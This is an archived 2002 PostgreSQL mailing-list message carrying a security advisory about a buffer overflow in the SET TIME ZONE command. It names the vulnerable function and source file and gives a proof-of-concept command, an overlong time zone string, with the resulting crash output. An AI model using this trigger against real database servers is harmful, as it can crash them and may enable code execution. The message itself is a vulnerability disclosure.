@(#)Mordred Labs advisory 0x0002: Buffer overflow in PostgreSQL

From: Sir Mordred The Traitor <mordred(at)s-mail(dot)com>
To: pgsql-hackers(at)postgresql(dot)org
Subject: @(#)Mordred Labs advisory 0x0002: Buffer overflow in PostgreSQL
Date: 2002-08-21 14:45:42
Message-ID: 3d63a796.74b67121@s-mail.com
Views: Raw Message | Whole Thread | Download mbox | Resend email
Thread:
Lists: pgsql-hackers

Seems like this one was lost or was filtered out...

//@(#)Mordred Labs advisory 0x0002

Release data: 19/08/02
Name: Buffer overflow in PostgreSQL
Versions affected: all versions
Risk: high

--[ Description:
There exists a buffer overflow in a SET TIME ZONE command, that
allows an attacker to execute malicious code.

--[ Details:
Upon executing the SET TIME ZONE 'STRING' command, parse_timezone()
function is invoked,
which will overwrite a static buffer tzbuf with the supplied string.
Look at the src/backend/commands/variable.c if you need something to laugh
at.

--[ How to reproduce:
psql> SET TIMEZONE to 'XXXXXX...very long string...XXXXX'
...
NOTICE: Buffer Leak: [27191] (freeNext=0, freePrev=0, rel=0/0, blockNum=0,
flags=0x0, refcount=0 128)
NOTICE: Buffer Leak: [27192] (freeNext=0, freePrev=0, rel=0/0, blockNum=0,
flags=0x0, refcount=0 1249)
NOTICE: Buffer Leak: [27193] (freeNext=0, freePrev=0, rel=0/0, blockNum=0,
flags=0x0, refcount=0 1651799137)
NOTICE: Buffer Leak: [27194] (freeNext=0, freePrev=0, rel=0/0, blockNum=0,
flags=0x0, refcount=0 1818326649)
...
pqReadData() -- backend closed the channel unexpectedly.
This probably means the backend terminated abnormally
before or while processing the request.
The connection to the server was lost. Attempting reset: Failed.

--[ Solution:
Just wait...

________________________________________________________________________
This letter has been delivered unencrypted. We'd like to remind you that
the full protection of e-mail correspondence is provided by S-mail
encryption mechanisms if only both, Sender and Recipient use S-mail.
Register at S-mail.com: http://www.s-mail.com/inf/en

Responses

Browse pgsql-hackers by date

  From Date Subject
Next Message Greg Copeland 2002-08-21 15:00:43 Re: @(#) Mordred Labs advisory 0x0001: Buffer overflow in
Previous Message Sir Mordred The Traitor 2002-08-21 14:42:04 i'll promise, i'll be polite :-)